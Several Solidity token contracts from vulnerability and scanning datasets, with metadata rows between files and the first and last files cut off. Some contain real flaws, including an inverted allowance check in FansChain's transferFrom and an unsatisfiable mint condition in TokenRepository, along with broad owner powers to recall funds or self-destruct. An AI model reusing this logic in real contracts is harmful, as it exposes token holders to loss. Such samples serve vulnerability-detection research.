event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract limitedFactor {
uint256 public startTime;
uint256 public stopTime;
address public walletAddress;
address public teamAddress;
address public contributorsAddress;
bool public tokenFrozen = true;
modifier teamAccountNeedFreezeOneYear(address _address) {
if(_address == teamAddress) {
require(now > startTime + 1 years);
}
_;
}
modifier TokenUnFreeze() {
require(!tokenFrozen);
_;
}
}
contract standardToken is ERC20Token, limitedFactor {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowances;
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public TokenUnFreeze teamAccountNeedFreezeOneYear(msg.sender) returns (bool success) {
require (balances[msg.sender] > _value); // Throw if sender has insufficient balance
require (balances[_to] + _value > balances[_to]); // Throw if owerflow detected
balances[msg.sender] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recivers blaance
Transfer(msg.sender, _to, _value); // Raise Transfer event
return true;
}
function approve(address _spender, uint256 _value) public TokenUnFreeze returns (bool success) {
allowances[msg.sender][_spender] = _value; // Set allowance
Approval(msg.sender, _spender, _value); // Raise Approval event
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public TokenUnFreeze returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender); // Cast spender to tokenRecipient contract
approve(_spender, _value); // Set approval to contract for _value
spender.receiveApproval(msg.sender, _value, this, _extraData); // Raise method on _spender contract
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public TokenUnFreeze returns (bool success) {
require (balances[_from] > _value); // Throw if sender does not have enough balance
require (balances[_to] + _value > balances[_to]); // Throw if overflow detected
require (_value > allowances[_from][msg.sender]); // Throw if you do not have allowance
balances[_from] -= _value; // Deduct senders balance
balances[_to] += _value; // Add recipient blaance
allowances[_from][msg.sender] -= _value; // Deduct allowance for this address
Transfer(_from, _to, _value); // Raise Transfer event
return true;
}
function allowance(address _owner, address _spender) constant public TokenUnFreeze returns (uint256 remaining) {
return allowances[_owner][_spender];
}
}
contract FansChainToken is standardToken,Owned {
using SafeMath for uint;
string constant public name="FansChain";
string constant public symbol="FSC";
uint256 constant public decimals=18;
uint256 public totalSupply = 0;
uint256 constant public topTotalSupply = 24*10**7*10**decimals;
uint256 public teamSupply = percent(25);
uint256 public privateFundSupply = percent(25);
uint256 public privateFundingSupply = 0;
uint256 public ICOtotalSupply = percent(20);
uint256 public ICOSupply = 0;
uint256 public ContributorsSupply = percent(30);
uint256 public exchangeRate;
/// @dev Fallback to calling deposit when ether is sent directly to contract.
function() public payable {
depositToken(msg.value);
}
function FansChainToken() public {
owner=msg.sender;
}
/// @dev Buys tokens with Ether.
function depositToken(uint256 _value) internal {
uint256 tokenAlloc = buyPriceAt(getTime()) * _value;
ICOSupply = ICOSupply.add(tokenAlloc);
require (ICOSupply < ICOtotalSupply);
mintTokens (msg.sender, tokenAlloc);
forwardFunds();
}
function forwardFunds() internal {
require(walletAddress != address(0));
walletAddress.transfer(msg.value);
}
/// @dev Issue new tokens
function mintTokens(address _to, uint256 _amount) internal {
require (balances[_to] + _amount > balances[_to]); // Check for overflows
balances[_to] = balances[_to].add(_amount); // Set minted coins to target
totalSupply = totalSupply.add(_amount);
Transfer(0x0, _to, _amount); // Create Transfer event from 0x
}
/// @dev Calculate exchange
function buyPriceAt(uint256 _time) internal constant returns(uint256) {
if (_time >= startTime && _time <= stopTime) {
return exchangeRate;
} else {
return 0;
}
}
/// @dev Get time
function getTime() internal constant returns(uint256) {
return now;
}
/// @dev set initial message
function setInitialVaribles(uint256 _icoStartTime,
uint256 _icoStopTime,
uint256 _exchangeRate,
address _walletAddress,
address _teamAddress,
address _contributorsAddress)
public
onlyOwner {
startTime = _icoStartTime;
stopTime = _icoStopTime;
exchangeRate=_exchangeRate;
walletAddress = _walletAddress;
teamAddress = _teamAddress;
contributorsAddress = _contributorsAddress;
}
/// @dev withDraw Ether to a Safe Wallet
function withDraw() public payable onlyOwner {
require (msg.sender != address(0));
require (getTime() > stopTime);
walletAddress.transfer(this.balance);
}
/// @dev unfreeze if ICO succeed
function unfreezeTokenTransfer(bool _freeze) public onlyOwner {
tokenFrozen = !_freeze;
}
/// @dev allocate Token
function allocateTokens(address[] _owners, uint256[] _values) public onlyOwner {
require (_owners.length == _values.length);
for(uint256 i = 0; i < _owners.length ; i++){
address owner = _owners[i];
uint256 value = _values[i];
ICOSupply = ICOSupply.add(value);
require(totalSupply < ICOtotalSupply);
mintTokens(owner, value);
}
}
/// @dev calcute the tokens
function percent(uint256 percentage) internal pure returns (uint256) {
return percentage.mul(topTotalSupply).div(100);
}
/// @dev allocate token for Team Address
function allocateTeamToken() public onlyOwner {
mintTokens(teamAddress, teamSupply);
}
/// @dev allocate token for Private Address
function allocatePrivateToken(address[] _privateFundingAddress, uint256[] _amount) public onlyOwner {
require (_privateFundingAddress.length == _amount.length);
for(uint256 i = 0; i < _privateFundingAddress.length ; i++){
address owner = _privateFundingAddress[i];
uint256 value = _amount[i];
privateFundingSupply = privateFundingSupply.add(value);
require(privateFundingSupply <= privateFundSupply);
mintTokens(owner, value);
}
}
/// @dev allocate token for contributors Address
function allocateContributorsToken() public onlyOwner {
mintTokens(contributorsAddress, ContributorsSupply);
}
}
| 217,684 | 256 |
59e94a0a8d257f9ed13b031ec10ab19094bae315ff89c5cced1dcc405d0926fc
| 19,883 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
data/smartbugs_wild/cfg/raw_source_code/0xa07519032c24799354b6efedd38c3b704226b2f2.sol
| 2,748 | 10,785 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract TokenRepository is Ownable {
using SafeMath for uint256;
// Name of the ERC-20 token.
string public name;
// Symbol of the ERC-20 token.
string public symbol;
// Total decimals of the ERC-20 token.
uint256 public decimals;
// Total supply of the ERC-20 token.
uint256 public totalSupply;
// Mapping to hold balances.
mapping(address => uint256) public balances;
// Mapping to hold allowances.
mapping (address => mapping (address => uint256)) public allowed;
function setName(string _name) public onlyOwner {
name = _name;
}
function setSymbol(string _symbol) public onlyOwner {
symbol = _symbol;
}
function setDecimals(uint256 _decimals) public onlyOwner {
decimals = _decimals;
}
function setTotalSupply(uint256 _totalSupply) public onlyOwner {
totalSupply = _totalSupply;
}
function setBalances(address _owner, uint256 _value) public onlyOwner {
balances[_owner] = _value;
}
function setAllowed(address _owner, address _spender, uint256 _value) public onlyOwner {
allowed[_owner][_spender] = _value;
}
function mintTokens(address _owner, uint256 _value) public onlyOwner {
require(_value > totalSupply.add(_value), "");
totalSupply = totalSupply.add(_value);
setBalances(_owner, _value);
}
function burnTokens(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
totalSupply = totalSupply.sub(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
function increaseBalance(address _owner, uint256 _value) public onlyOwner {
balances[_owner] = balances[_owner].add(_value);
}
function increaseAllowed(address _owner, address _spender, uint256 _value) public onlyOwner {
allowed[_owner][_spender] = allowed[_owner][_spender].add(_value);
}
function decreaseBalance(address _owner, uint256 _value) public onlyOwner {
balances[_owner] = balances[_owner].sub(_value);
}
function decreaseAllowed(address _owner, address _spender, uint256 _value) public onlyOwner {
allowed[_owner][_spender] = allowed[_owner][_spender].sub(_value);
}
function transferBalance(address _from, address _to, uint256 _value) public onlyOwner {
decreaseBalance(_from, _value);
increaseBalance(_to, _value);
}
}
contract ERC223Receiver {
function tokenFallback(address _sender, address _origin, uint _value, bytes _data) public returns (bool);
}
contract ERC223Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() public view returns (string);
function symbol() public view returns (string);
function decimals() public view returns (uint256);
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function transfer(address _to, uint _value, bytes _data) public returns (bool);
function transferFrom(address _from, address _to, uint _value, bytes _data) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
}
contract ERC223Token is ERC223Interface, Pausable {
TokenRepository public tokenRepository;
constructor() public {
tokenRepository = new TokenRepository();
}
function name() public view returns (string) {
return tokenRepository.name();
}
function symbol() public view returns (string) {
return tokenRepository.symbol();
}
function decimals() public view returns (uint256) {
return tokenRepository.decimals();
}
function totalSupply() public view returns (uint256) {
return tokenRepository.totalSupply();
}
function balanceOf(address _owner) public view returns (uint256) {
return tokenRepository.balances(_owner);
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return tokenRepository.allowed(_owner, _spender);
}
function transfer(address _to, uint _value) public whenNotPaused returns (bool) {
return transfer(_to, _value, new bytes(0));
}
function transferFrom(address _from, address _to, uint _value) public whenNotPaused returns (bool) {
return transferFrom(_from, _to, _value, new bytes(0));
}
function transfer(address _to, uint _value, bytes _data) public whenNotPaused returns (bool) {
//filtering if the target is a contract with bytecode inside it
if (!_transfer(_to, _value)) revert(); // do a normal token transfer
if (_isContract(_to)) return _contractFallback(msg.sender, _to, _value, _data);
return true;
}
function transferFrom(address _from, address _to, uint _value, bytes _data) public whenNotPaused returns (bool) {
if (!_transferFrom(_from, _to, _value)) revert(); // do a normal token transfer
if (_isContract(_to)) return _contractFallback(_from, _to, _value, _data);
return true;
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
tokenRepository.setAllowed(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint256 _value) public whenNotPaused returns (bool) {
tokenRepository.increaseAllowed(msg.sender, _spender, _value);
emit Approval(msg.sender, _spender, tokenRepository.allowed(msg.sender, _spender));
return true;
}
function decreaseApproval(address _spender, uint256 _value) public whenNotPaused returns (bool) {
uint256 oldValue = tokenRepository.allowed(msg.sender, _spender);
if (_value >= oldValue) {
tokenRepository.setAllowed(msg.sender, _spender, 0);
} else {
tokenRepository.decreaseAllowed(msg.sender, _spender, _value);
}
emit Approval(msg.sender, _spender, tokenRepository.allowed(msg.sender, _spender));
return true;
}
function _transfer(address _to, uint256 _value) internal returns (bool) {
require(_value <= tokenRepository.balances(msg.sender));
require(_to != address(0));
tokenRepository.transferBalance(msg.sender, _to, _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function _transferFrom(address _from, address _to, uint256 _value) internal returns (bool) {
require(_value <= tokenRepository.balances(_from));
require(_value <= tokenRepository.allowed(_from, msg.sender));
require(_to != address(0));
tokenRepository.transferBalance(_from, _to, _value);
tokenRepository.decreaseAllowed(_from, msg.sender, _value);
emit Transfer(_from, _to, _value);
return true;
}
function _contractFallback(address _from, address _to, uint _value, bytes _data) private returns (bool) {
ERC223Receiver reciever = ERC223Receiver(_to);
return reciever.tokenFallback(msg.sender, _from, _value, _data);
}
function _isContract(address _address) private view returns (bool) {
// Retrieve the size of the code on target address, this needs assembly.
uint length;
assembly { length := extcodesize(_address) }
return length > 0;
}
}
contract NAi is ERC223Token {
constructor() public {
tokenRepository.setName("NAi");
tokenRepository.setSymbol("NAi");
tokenRepository.setDecimals(6);
tokenRepository.setTotalSupply(20000000 * 10 ** uint(tokenRepository.decimals()));
tokenRepository.setBalances(msg.sender, tokenRepository.totalSupply());
}
function storageOwner() public view returns(address) {
return tokenRepository.owner();
}
function burnTokens(uint256 _value) public onlyOwner {
tokenRepository.burnTokens(_value);
emit Transfer(msg.sender, address(0), _value);
}
function transferStorageOwnership(address _newContract) public onlyOwner {
tokenRepository.transferOwnership(_newContract);
}
function killContract() public onlyOwner {
require(storageOwner() != address(this));
selfdestruct(owner);
}
}
| 136,033 | 257 |
18c5e413288f6e5446b6e5b03814373a0fa7b060bc5ed4139bfb1fbb39f5e8e3
| 16,855 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x59be937f05cf2c406b61c42c6c82a093fa54edfe.sol
| 2,804 | 10,593 |
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from,
address _to,
uint256 _value)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner,
address _spender)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(address _spender,
uint256 _addedValue)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,
uint256 _subtractedValue)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/PlayCoin.sol
contract PlayCoin is StandardToken {
string public symbol;
string public name;
uint8 public decimals = 9;
uint noOfTokens = 1000000000; // 1,000,000,000 (1B)
// Address of playcoin vault (a PlayCoinMultiSigWallet contract)
// The vault will have all the playcoin issued and the operation
// on its token will be protected by multi signing.
// In addtion, vault can recall(transfer back) the reserved amount
// from some address.
address internal vault;
// Address of playcoin owner (a PlayCoinMultiSigWallet contract)
// The owner can change admin and vault address, but the change operation
// will be protected by multi signing.
address internal owner;
// Address of playcoin admin (a PlayCoinMultiSigWallet contract)
// The admin can change reserve. The reserve is the amount of token
// assigned to some address but not permitted to use.
// Once the signers of the admin agree with removing the reserve,
// they can change the reserve to zero to permit the user to use all reserved
// amount. So in effect, reservation will postpone the use of some tokens
// being used until all stakeholders agree with giving permission to use that
// token to the token owner.
// All admin operation will be protected by multi signing.
address internal admin;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event VaultChanged(address indexed previousVault, address indexed newVault);
event AdminChanged(address indexed previousAdmin, address indexed newAdmin);
event ReserveChanged(address indexed _address, uint amount);
event Recalled(address indexed from, uint amount);
// for debugging
event MsgAndValue(string message, bytes32 value);
mapping(address => uint) public reserves;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyVault() {
require(msg.sender == vault);
_;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyAdminOrVault() {
require(msg.sender == vault || msg.sender == admin);
_;
}
modifier onlyOwnerOrVault() {
require(msg.sender == owner || msg.sender == vault);
_;
}
modifier onlyAdminOrOwner() {
require(msg.sender == owner || msg.sender == admin);
_;
}
modifier onlyAdminOrOwnerOrVault() {
require(msg.sender == owner || msg.sender == vault || msg.sender == admin);
_;
}
constructor (string _symbol, string _name, address _owner, address _admin, address _vault) public {
require(bytes(_symbol).length > 0);
require(bytes(_name).length > 0);
totalSupply_ = noOfTokens * (10 ** uint(decimals));
// 1E9 tokens initially
symbol = _symbol;
name = _name;
owner = _owner;
admin = _admin;
vault = _vault;
balances[vault] = totalSupply_;
emit Transfer(address(0), vault, totalSupply_);
}
function setReserve(address _address, uint _reserve) public onlyAdmin {
require(_reserve <= totalSupply_);
require(_address != address(0));
reserves[_address] = _reserve;
emit ReserveChanged(_address, _reserve);
}
function transfer(address _to, uint256 _value) public returns (bool) {
// check the reserve
require(balanceOf(msg.sender) - _value >= reserveOf(msg.sender));
return super.transfer(_to, _value);
}
function setVault(address _newVault) public onlyOwner {
require(_newVault != address(0));
require(_newVault != vault);
address _oldVault = vault;
// change vault address
vault = _newVault;
emit VaultChanged(_oldVault, _newVault);
// adjust balance
uint _value = balances[_oldVault];
balances[_oldVault] = 0;
balances[_newVault] = balances[_newVault].add(_value);
// vault cannot have any allowed or reserved amount!!!
allowed[_newVault][msg.sender] = 0;
reserves[_newVault] = 0;
emit Transfer(_oldVault, _newVault, _value);
}
function setOwner(address _newOwner) public onlyVault {
require(_newOwner != address(0));
require(_newOwner != owner);
owner = _newOwner;
emit OwnerChanged(owner, _newOwner);
}
function setAdmin(address _newAdmin) public onlyOwnerOrVault {
require(_newAdmin != address(0));
require(_newAdmin != admin);
admin = _newAdmin;
emit AdminChanged(admin, _newAdmin);
}
function recall(address _from, uint _amount) public onlyAdmin {
require(_from != address(0));
require(_amount > 0);
uint currentReserve = reserveOf(_from);
uint currentBalance = balanceOf(_from);
require(currentReserve >= _amount);
require(currentBalance >= _amount);
uint newReserve = currentReserve - _amount;
reserves[_from] = newReserve;
emit ReserveChanged(_from, newReserve);
// transfer token _from to vault
balances[_from] = balances[_from].sub(_amount);
balances[vault] = balances[vault].add(_amount);
emit Transfer(_from, vault, _amount);
emit Recalled(_from, _amount);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances[_from].sub(reserves[_from]));
return super.transferFrom(_from, _to, _value);
}
function getOwner() public view onlyAdminOrOwnerOrVault returns (address) {
return owner;
}
function getVault() public view onlyAdminOrOwnerOrVault returns (address) {
return vault;
}
function getAdmin() public view onlyAdminOrOwnerOrVault returns (address) {
return admin;
}
function getOnePlayCoin() public view returns (uint) {
return (10 ** uint(decimals));
}
function getMaxNumberOfTokens() public view returns (uint) {
return noOfTokens;
}
function reserveOf(address _address) public view returns (uint _reserve) {
return reserves[_address];
}
function reserve() public view returns (uint _reserve) {
return reserves[msg.sender];
}
}
| 205,838 | 258 |
0a7ee4f0f07ea40ecfde6ba9039fc010e1eb26e65c709b43c0f9a41bdbfeebc6
| 20,781 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/2c/2Caa2F99Fc3E5de6Ef291019Ce1C74AC4435F5Ea_RedeemUSDTContract.sol
| 3,713 | 12,845 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
// File: @openzeppelin/contracts/math/Math.sol
library Math {
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function mint(address account, uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return payable(address(uint160(account)));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
// (bool success,) = recipient.call.value(amount)("");
(bool success,) = recipient.call{value:amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: contractsStrings.sol
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function indexOf(string memory _base, string memory _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
function _indexOf(string memory _base, string memory _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for (uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
contract RedeemUSDTContract is Ownable{
using Address for address;
bool public Pause = false;
uint public UserIdCounter = 0;
uint public Rate = 1;
uint public Decimal = 10 ** 4;
IERC20 public USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
address private signerAddress = 0x960A4406d23Cb0cced0584B769bde13de60F27c5;
mapping(string => bool) public SwapKey;
event RewardClaimed(address indexed _address, uint indexed _amount, string _data);
constructor(){
}
function SetUSDT(address _address) external onlyOwner{
USDT = IERC20(_address);
}
function SetPause(bool _status) external onlyOwner{
Pause = _status;
}
function Claim(string calldata _rawdata,
bytes calldata _sig,
uint _receiveAmount) external {
require(Pause == false, "Contract is paused");
string memory data = Strings.strConcat(_rawdata, _uint2str(_receiveAmount));
require(SwapKey[data] == false, "Key Already Claimed");
require(isValidData(data, _sig), "Invalid Signature");
require(_receiveAmount > 0, "Invalid fund");
SwapKey[data] = true;
USDT.transfer(msg.sender, _receiveAmount);
emit RewardClaimed(msg.sender, _receiveAmount, data);
}
function toBytes(address a) public pure returns (bytes memory b){
assembly {
let m := mload(0x40)
a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a))
mstore(0x40, add(m, 52))
b := m
}
}
function addressToString(address _addr) internal pure returns(string memory) {
// bytes32 value = bytes32(uint256(_addr));
bytes32 value = keccak256(abi.encodePacked(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(42);
str[0] = "0";
str[1] = "x";
for (uint i = 0; i < 20; i++) {
str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))];
str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
function toAsciiString(address x) internal pure returns (string memory) {
bytes memory s = new bytes(40);
for (uint i = 0; i < 20; i++) {
bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i)))));
bytes1 hi = bytes1(uint8(b) / 16);
bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi));
s[2*i] = char(hi);
s[2*i+1] = char(lo);
}
return string(s);
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
bytes memory bytesArray = new bytes(64);
for (i = 0; i < bytesArray.length; i++) {
uint8 _f = uint8(_bytes32[i/2] & 0x0f);
uint8 _l = uint8(_bytes32[i/2] >> 4);
bytesArray[i] = toByte(_f);
i = i + 1;
bytesArray[i] = toByte(_l);
}
return string(bytesArray);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if (tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
function splitSignature(bytes memory sig)
public
pure
returns (uint8, bytes32, bytes32)
{
